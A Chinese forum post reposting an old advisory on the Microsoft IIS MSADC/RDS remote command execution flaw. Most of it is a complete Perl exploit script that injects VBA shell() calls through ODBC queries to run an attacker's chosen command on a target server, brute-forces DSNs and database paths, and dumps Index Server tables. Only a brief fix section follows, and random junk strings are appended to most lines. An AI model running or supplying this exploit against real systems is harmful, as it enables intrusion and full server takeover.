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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,mRN;|N  
weu'<C   
涉及程序: bT>^% H3  
Microsoft NT server CSD8?k]2  
"ex? #qD&  
描述: w,l1&=d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "'PDreS  
r)b`3=  
详细: ny MA%9,B  
如果你没有时间读详细内容的话,就删除: h)YqC$A-s  
c:\Program Files\Common Files\System\Msadc\msadcs.dll q<7Nz] Td  
有关的安全问题就没有了。 yx-{}Yj^  
vI+PL(T@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0nl)0|?Az  
d8x$NW-s  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 O" z=+79q  
关于利用ODBC远程漏洞的描述,请参看: / '7WL[<  
Ek 4aC3  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1LE8,Gm&  
H8\N~>  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hwO]{)%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp }R J2\CP  
GI~;2 `V  
这里不再论述。 S</" ^C51J  
F\XzP\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7lh%\  
5%W3&F6 %  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset P= ]ZXj[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! E-Mp|y/V  
)ei+ewVZ  
*|4~ 0w  
#将下面这段保存为txt文件,然后: "perl -x 文件名" K_My4>~Il  
7tyn?t0n  
#!perl 3w0m:~KS6V  
# G q:7d]c~T  
# MSADC/RDS 'usage' (aka exploit) script )`U T#5  
# pZWp2hj{X  
# by rain.forest.puppy .AV--oA~  
# Tn-H8;Hg  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me XL"e<P;t  
# beta test and find errors! }we"IqLb  
}b+=,Sc"  
use Socket; use Getopt::Std; k1%Ek#5  
getopts("e:vd:h:XR", \%args); (57x5qP X  
a1Gy I  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G& ;W  
+}:c+Z<  
if (!defined $args{h} && !defined $args{R}) { ~=c#Ff =Z  
print qq~ 1&m08dZm5  
Usage: msadc.pl -h <host> { -d <delay> -X -v } N/y.=]  
-h <host> = host you want to scan (ip or domain) 5v?6J#]2  
-d <seconds> = delay between calls, default 1 second |_ ;-~bmb  
-X = dump Index Server path table, if available n,fUoS  
-v = verbose RJg# A`  
-e = external dictionary file for step 5 n'R 8nn6^  
V6Q[Y>84~a  
Or a -R will resume a command session $+rdzsf)+/  
.Wb),  
~; exit;} ,@2O_O`:  
2 OGg`1XX  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; aUJ&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .2u%;)S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} qg'm<[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'QkL%z0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KJ~f ~2;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 8Y4YE(x5  
@@! R Iq!  
if (!defined $args{R}){ $ret = &has_msadc; 1ra}^H}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} HM<V$ R  
7$w:~VZ  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ukZL  
. "cmd /c "; yyZjMnuD  
$in=<STDIN>; chomp $in; WLizgVM  
$command="cmd /c " . $in ; 4S9AXE6  
?B[Z9Ef"8l  
if (defined $args{R}) {&load; exit;} w%L0mH2]ng  
/.}&yRR  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5#iv[c  
&try_btcustmr; MEo+S  
Ib!`ChZ  
print "\nStep 2: Trying to make our own DSN..."; } #$Y^ +UN  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (D))?jnC  
^%C.S :  
print "\nStep 3: Trying known DSNs..."; []u!piW  
&known_dsn; ^D6JckW  
LtC kDnXk  
print "\nStep 4: Trying known .mdbs..."; !WrUr]0IP  
&known_mdb; V&qXsyg  
,g/UPK8K=  
if (defined $args{e}){ ku\_M  
print "\nStep 5: Trying dictionary of DSN names..."; '1bdBx\<.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } X3q'x}{  
}G-qOt  
print "Sorry Charley...maybe next time?\n"; 9}5Q5OZ  
exit; vL-%"*>v  
<6Br]a60RR  
############################################################################## -BB5bsjA  
)L^WD$"'Q  
sub sendraw { # ripped and modded from whisker :e gSW2"5S  
sleep($delay); # it's a DoS on the server! At least on mine... ,Kdvt@vle  
my ($pstr)=@_; R` /n sou  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :p OX,  
die("Socket problems\n"); 0WQ0-~wx  
if(connect(S,pack "SnA4x8",2,80,$target)){ om@` NW  
select(S); $|=1; -V<i4X<|,+  
print $pstr; my @in=<S>; &?x^I{j  
select(STDOUT); close(S); l&E-H@Pe  
return @in; b$VdTpz  
} else { die("Can't connect...\n"); }} D<nTo&m_  
>j\zj] -"  
############################################################################## ;g?5V  
~Fisno  
sub make_header { # make the HTTP request l=kgRh  
my $msadc=<<EOT Dx iCq(;  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 z07!i@ue~  
User-Agent: ACTIVEDATA RN!oflb  
Host: $ip 1{"e'[ L  
Content-Length: $clen Lw-)ijBW  
Connection: Keep-Alive LkJ3 :3O  
b7HS 3NYk  
ADCClientVersion:01.06 IDcu#Nz`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 UD"e:O_  
-6Cxz./#yS  
--!ADM!ROX!YOUR!WORLD! #XNe4#  
Content-Type: application/x-varg T|oz_c\e  
Content-Length: $reqlen 9;q@;)'5  
u\>Ed9^  
EOT ^${-^w@,%V  
; $msadc=~s/\n/\r\n/g; MYjDO>(_  
return $msadc;} a*=\-;HaZ  
dB< \X.   
############################################################################## Z\TH=UA  
d4gl V`%.  
sub make_req { # make the RDS request E]"ePdZZ/  
my ($switch, $p1, $p2)=@_; 1jQz%^~  
my $req=""; my $t1, $t2, $query, $dsn; X%39cXM C  
K2)),_,@5+  
if ($switch==1){ # this is the btcustmr.mdb query XPb7gd"% W  
$query="Select * from Customers where City=" . make_shell(); u:fiil$  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . C9({7[k^%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {8b6A~/  
!t[X/iu  
elsif ($switch==2){ # this is general make table query `N2zeFG  
$query="create table AZZ (B int, C varchar(10))"; 4uDz=B+8y  
$dsn="$p1";} .wYx_  
AY|8wf,LS  
elsif ($switch==3){ # this is general exploit table query IOt!A  
$query="select * from AZZ where C=" . make_shell(); jr'O4bo%  
$dsn="$p1";} [bE9Y;  
>|H=25N>;  
elsif ($switch==4){ # attempt to hork file info from index server zn@tLLX  
$query="select path from scope()"; F5&4x"c  
$dsn="Provider=MSIDXS;";} L +-B,466  
{ 5h6nYu  
elsif ($switch==5){ # bad query Zj!S('hSY  
$query="select"; &eyFApM[Z  
$dsn="$p1";} TQYud'u/  
Rl<~:,D  
$t1= make_unicode($query); ~(G]-__B<  
$t2= make_unicode($dsn); tNfku  
$req = "\x02\x00\x03\x00"; kXv -B-wOj  
$req.= "\x08\x00" . pack ("S1", length($t1)); 4z?6[Cg<  
$req.= "\x00\x00" . $t1 ; 7&OU!gp  
$req.= "\x08\x00" . pack ("S1", length($t2)); 5ahAp];  
$req.= "\x00\x00" . $t2 ; RIb< 7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Rnun() plJ  
return $req;} p4|:u[:&  
eDIjcZ  
############################################################################## ld`oIEj!P_  
fs7JA=?:  
sub make_shell { # this makes the shell() statement >.QD:_@:  
return "'|shell(\"$command\")|'";} sd.:PE <  
,SS@]9A &  
############################################################################## ow%s_yV]R  
A10/"Ec<u  
sub make_unicode { # quick little function to convert to unicode zgqe@;{  
my ($in)=@_; my $out; 3E:wyf)i"  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } A+NLo[swwu  
return $out;} ,8EeSnI  
)7[>/2aGd  
############################################################################## 1rT}mm/e;  
'2v,!G]^  
sub rdo_success { # checks for RDO return success (this is kludge) ; #e-pkV  
my (@in) = @_; my $base=content_start(@in); c :hOQZ  
if($in[$base]=~/multipart\/mixed/){ !dSY?1>U<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} f4]nz:2  
return 0;} *#dXW\8qu  
) Q]kUG#`  
############################################################################## ;./Tv84I^  
v!K %\h2A  
sub make_dsn { # this makes a DSN for us \O72PC+  
my @drives=("c","d","e","f"); e#SNN-hKsJ  
print "\nMaking DSN: "; JzCfs<D  
foreach $drive (@drives) { .kvuI6H  
print "$drive: "; w%j 6zsTz  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . i#&]{]}Qv  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" vQYd!DSh  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); F(}d|z@@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; l'?/$?'e_Z  
return 0 if $2 eq "404"; # not found/doesn't exist _8DY9GaE  
if($2 eq "200") { 03AYW)"}M  
foreach $line (@results) { yz,ak+wp  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 'I*F(4x  
} return 0;} (\,mA-%E  
Vad(PS0  
############################################################################## ~Og'IRf  
.KTDQA\  
sub verify_exists { %\Ig{Rj;  
my ($page)=@_; ); 7csh%  
my @results=sendraw("GET $page HTTP/1.0\n\n"); )xlNj$(x5n  
return $results[0];} ${0Xq k  
"kVN|Do  
############################################################################## JKGUg3\~  
jpT!di  
sub try_btcustmr { qdvGBdF  
my @drives=("c","d","e","f"); Oa CkU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J1yy6Wq3[  
U/wY;7{)#  
foreach $dir (@dirs) { Q(E$;@   
print "$dir -> "; # fun status so you can see progress :KMo'pL  
foreach $drive (@drives) { }DY^a'wJ-  
print "$drive: "; # ditto qS+'#Sn  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SQWA{f  
$reqlenlen=length( "$reqlen" ); ~iyd p  
$clen= 206 + $reqlenlen + $reqlen; N@Bqe{r6j  
;@ %~eIlu  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); >0T0K`o  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o!wz:|\S  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %`-NWAXL  
^ D?;K8a-l  
############################################################################## _Ev"/ %  
, N5Rdgzk  
sub odbc_error { &h8+ -  
my (@in)=@_; my $base; -L</,>p  
my $base = content_start(@in); cD-\fRBGK  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Vy&F{T;$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eW0:&*.vMj  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C[_{ $j(J  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |#f P8OK  
return $in[$base+4].$in[$base+5].$in[$base+6];} Z:)\j.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~u/Enl7\-  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . jKM-(s!(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} VDCrFZ!]  
*M6M'>Tin  
############################################################################## KvkiwO(  
4,wdIdSm4  
sub verbose { 6aXsRhQ~  
my ($in)=@_; ,R3D  
return if !$verbose; ,t(y~Z wJ  
print STDOUT "\n$in\n";} rS{Rzs^@  
nRb#M  
############################################################################## FV!  
64h r| v  
sub save { -Y2h vC  
my ($p1, $p2, $p3, $p4)=@_; 'R,1Jmx  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *.n9D  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xGPt5l<M&  
close OUT;} V?0|#=_mE  
(*^_ wq-;  
############################################################################## / QSK$ZDC  
3[-L'!pOX3  
sub load { 8mV`|2>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >=r094<  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); JY_+p9KfyQ  
@p=<IN>; close(IN); kc1 *@<L6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ].7)^  
$target= inet_aton($ip) || die("inet_aton problems"); =/V r,y$  
print "Resuming to $ip ..."; >eWHPO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \ bd? `."  
if($p[1]==1) { PHT;%;m=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; !@p@u;djJ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [ wr0TbtV  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Xp4pN{he  
if (rdo_success(@results)){print "Success!\n";} rq T@i(i  
else { print "failed\n"; verbose(odbc_error(@results));}} #eR*|W7o  
elsif ($p[1]==3){ By:A9 s  
if(run_query("$p[3]")){ 8&3+=<U  
print "Success!\n";} else { print "failed\n"; }} CIYTs,u#  
elsif ($p[1]==4){ kplyZ  
if(run_query($drvst . "$p[3]")){ +8mfq\ Y1  
print "Success!\n"; } else { print "failed\n"; }} gV$Lfkz  
exit;} 11%^K=dq  
)xT_RBR  
############################################################################## gMFTZQsP  
Cp_"PvTmT  
sub create_table { V: 2|l!l*  
my ($in)=@_; q#c\  
$reqlen=length( make_req(2,$in,"") ) - 28; OAc+LdT  
$reqlenlen=length( "$reqlen" ); r }pYm'e  
$clen= 206 + $reqlenlen + $reqlen; US@ak4Y6Z  
my @results=sendraw(make_header() . make_req(2,$in,"")); p`T7Y\\#!  
return 1 if rdo_success(@results); haqL DVrf  
my $temp= odbc_error(@results); verbose($temp); cuW$%$ F  
return 1 if $temp=~/Table 'AZZ' already exists/; &AoXv`l4  
return 0;} . m@Sk`s  
}#a d  
############################################################################## +'y$XR~W{  
ft?J|AG  
sub known_dsn { pV<18CaJ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go . p<*n6E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", jbMzcn~ehI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", pn {Nk1Pl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6]CY[qEaR$  
+*lSB%`aS  
foreach $dSn (@dsns) { u=p([ 5]  
print "."; *^}(LoPZ  
next if (!is_access("DSN=$dSn")); EX|Wd|aK  
if(create_table("DSN=$dSn")){ JY4 +MApN  
print "$dSn successful\n"; '<4/Md[  
if(run_query("DSN=$dSn")){ FJ}/g ?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x_s9DkX  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [;83 IoU}  
`>g: :  
############################################################################## q: ?6  
cOxF.(L  
sub is_access { gR?=z}`@p  
my ($in)=@_; 305()  
$reqlen=length( make_req(5,$in,"") ) - 28; Ro$l/lXl8t  
$reqlenlen=length( "$reqlen" ); f*aYS  
$clen= 206 + $reqlenlen + $reqlen; b: +.Y$%F-  
my @results=sendraw(make_header() . make_req(5,$in,"")); "  q0lh  
my $temp= odbc_error(@results); yAW%y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <x53b/ft  
return 0;} [?.k8;k  
}3V Q*'X>i  
############################################################################## qI5_@[S*  
3tA6r  
sub run_query { 8%U+y0j6b  
my ($in)=@_; 0\k2F,:%4  
$reqlen=length( make_req(3,$in,"") ) - 28; "!+q0l1]@  
$reqlenlen=length( "$reqlen" ); 7??+8T#n*  
$clen= 206 + $reqlenlen + $reqlen; ,_F1g<^@u  
my @results=sendraw(make_header() . make_req(3,$in,"")); -'*B%yy  
return 1 if rdo_success(@results); 6Y`eYp5A  
my $temp= odbc_error(@results); verbose($temp); ApG_Gd.  
return 0;} P I)lJ\  
.Q>.|mu  
############################################################################## r@%-S!$  
*/u_RJ  
sub known_mdb { ]wc'h>w  
my @drives=("c","d","e","f","g"); zL+jlUkE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Gh>Rt=Qu%  
my $dir, $drive, $mdb; gC> A *~J;  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Cz#0Gh>1  
xKv\z1ra  
# this is sparse, because I don't know of many -V%"i,t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4`7N}$j#,  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", s%1O}X$c  
"\\system32\\certmdb.mdb", qm{(.b^  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 4703\ HK  
v8 I&~_b  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %}J[EV  
"\\cfusion\\cfapps\\forums\\forums_.mdb", XBh0=E?qiS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", v1oq[+  
"\\cfusion\\cfapps\\security\\realm_.mdb", V<*PaS..  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |~Z.l  
"\\cfusion\\database\\cfexamples.mdb", )CD4k:bm  
"\\cfusion\\database\\cfsnippets.mdb", 0L S,(v4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3-`IMN n!  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F;kY5+a7~e  
"\\cfusion\\brighttiger\\database\\cleam.mdb", x&@. [FJhO  
"\\cfusion\\database\\smpolicy.mdb", zgI!S6q  
"\\cfusion\\database\cypress.mdb", '-N `u$3Y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", N^*%{[<5  
"\\website\\cgi-win\\dbsample.mdb", 7;2j^qPr  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <v>^#/.0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" )+OI}  
); #these are just +C' u!^ )  
foreach $drive (@drives) { .D!0$W mOZ  
foreach $dir (@dirs){ F>d B@V-  
foreach $mdb (@sysmdbs) { | (JxtQqQg  
print "."; SIYBMe  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ?\"GT]5D  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3X=9$xw_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ K`{P/w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; PzMJ^H{  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >-*rtiE  
7l/.f SW  
foreach $drive (@drives) { 7/& i'y  
foreach $mdb (@mdbs) { 3LN+gXmU  
print "."; @tGju\E"o  
if(create_table($drv . $drive . $dir . $mdb)){ <2"'R(4",  
print "\n" . $drive . $dir . $mdb . " successful\n"; #>i Bu:\J  
if(run_query($drv . $drive . $dir . $mdb)){ ywTt<;  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; sEkfmB2J/  
} else { print "Something's borked. Use verbose next time\n"; }}}} %IL] Wz<  
} aMe]6cWHV>  
]V0V8fU|  
############################################################################## Z$LWZg  
dWqKt0uh!  
sub hork_idx { ?<)4_  
print "\nAttempting to dump Index Server tables...\n"; ~_8Dv<"a  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #I8)|p?P  
$reqlen=length( make_req(4,"","") ) - 28; I$7|?8  
$reqlenlen=length( "$reqlen" ); \@&oK2f  
$clen= 206 + $reqlenlen + $reqlen; 3q ujz)o  
my @results=sendraw2(make_header() . make_req(4,"","")); CT1@J-np  
if (rdo_success(@results)){ '9@S  
my $max=@results; my $c; my %d; p!B& &)&db  
for($c=19; $c<$max; $c++){ v3PtiKS  
$results[$c]=~s/\x00//g; BbsgZ4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 55q!2>Jh.  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Kh&W\\K  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 'K&^y%~py,  
$d{"$1$2"}="";} VRU"2mQ.P6  
foreach $c (keys %d){ print "$c\n"; } d!0iv'^t  
} else {print "Index server doesn't seem to be installed.\n"; }} 8?LsV<  
 >M~1{  
############################################################################## )Q= EmZbJz  
[$M=+YRHMW  
sub dsn_dict { 7+ +Fak  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); -Pt.  
while(<IN>){ \]<e Lw- v  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; G\&9.@`k  
next if (!is_access("DSN=$dSn")); mv] .  
if(create_table("DSN=$dSn")){ -UY5T@as  
print "$dSn successful\n"; : N9,/-s  
if(run_query("DSN=$dSn")){ E+z),"QA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xB-\yWDZe  
print "Something's borked. Use verbose next time\n";}}} Q\Wh]=}  
print "\n"; close(IN);} mxD]`F  
QiH>!Ssw  
############################################################################## dhrh "x_?:  
b3.  
sub sendraw2 { # ripped and modded from whisker [l44,!Z&  
sleep($delay); # it's a DoS on the server! At least on mine... E$SYXe[,  
my ($pstr)=@_; 2_T2?weD5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ig&H0S  
die("Socket problems\n"); |"}oGL6-  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ey|{yUmU+  
print "Connected. Getting data"; 4g4[n7  
open(OUT,">raw.out"); my @in; %#t*3[  
select(S); $|=1; print $pstr; de=){.7Y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !0-KB#  
close(OUT); select(STDOUT); close(S); return @in; yz}ik^T  
} else { die("Can't connect...\n"); }} n?Zt\Kto  
M( w'TE@  
############################################################################## [nc-~T+Mo  
j]HzI{7y  
sub content_start { # this will take in the server headers '/="bSF  
my (@in)=@_; my $c; hY5GNYDh  
for ($c=1;$c<500;$c++) { i~3\jD=<  
if($in[$c] =~/^\x0d\x0a/){ ^4/   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } cN%  r\  
else { return $c+1; }}} 1;v,rs M  
return -1;} # it should never get here actually L|hELWru  
'4KN  
############################################################################## 8:t!m>(*  
c,CcKy;+  
sub funky { <)$&V*\  
my (@in)=@_; my $error=odbc_error(@in); jOUM+QO  
if($error=~/ADO could not find the specified provider/){ F(O"S@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; +Y?) ?  
exit;} bG)EZ  
if($error=~/A Handler is required/){ o$QC:%[#  
print "\nServer has custom handler filters (they most likely are patched)\n"; s(Y2]X4 (  
exit;} `cQAO1-5  
if($error=~/specified Handler has denied Access/){ 'VpzB s#  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]l7rM"  
exit;}} Nl]_Ie6  
%1mIngW=g  
############################################################################## (H^)wDb  
ayYl3  
sub has_msadc { jn +*G<NJ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); t|urvoz  
my $base=content_start(@results); ~6A;H$dr  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Sw.k,p*r  
return 0;} !C(U9p. 0  
2P/ Sq  
######################## F/SYmNp  
R ;k1(p  
VUon>XQ G  
解决方案: VTUSM{TC  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll iE0x7x P_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6d`qgEM3  
wRdN(`;v  
拿出来充数 哈哈
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